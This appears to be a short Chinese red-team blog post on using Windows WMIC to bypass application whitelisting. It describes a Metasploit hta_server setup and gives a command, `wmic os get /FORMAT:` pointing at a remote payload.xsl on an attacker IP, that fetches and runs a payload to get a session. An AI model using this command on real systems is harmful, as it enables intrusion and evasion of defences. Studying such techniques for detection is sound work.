白名单执行payload之Wmic

简介

WMIC扩展WMI(Windows Management Instrumentation,Windows管理工具),提供了从命令行接口和批命令脚本执行系统管理的支持。在WMIC出现之前,如果要管理WMI系统,必须使用一些专门的WMI应用,例如SMS,或者使用WMI的脚本编程API,或者使用象CIM Studio之类的工具。如果不熟悉C++之类的编程语言或VBScript之类的脚本语言,或者不掌握WMI名称空间的基本知识,要用WMI管理系统是很困难的。WMIC改变了这种情况。

已添加环境变量,路径如下:
C:WindowsSysWOW64wbemWMIC.exe
C:WindowsSystem32wbemWMIC.exe

实际使用

hta_server

msf设定如下,利用xsl代码中链接的hta文件,通过mshta进行下载并执行,但此处文件由wmic进行处罚

xsl文件如下,不仅限于写入hta文件执行,此处我们直接执行命令也是可以的!

再利用wmic来执行xsl文件
wmic os get /FORMAT:"http://192.168.122.1/payload.xsl"

确认上线如下

联系邮箱:yang_s1r@163.com 博客园地址:https://www.cnblogs.com/Yang34/
原文地址:https://www.cnblogs.com/Yang34/p/14406855.html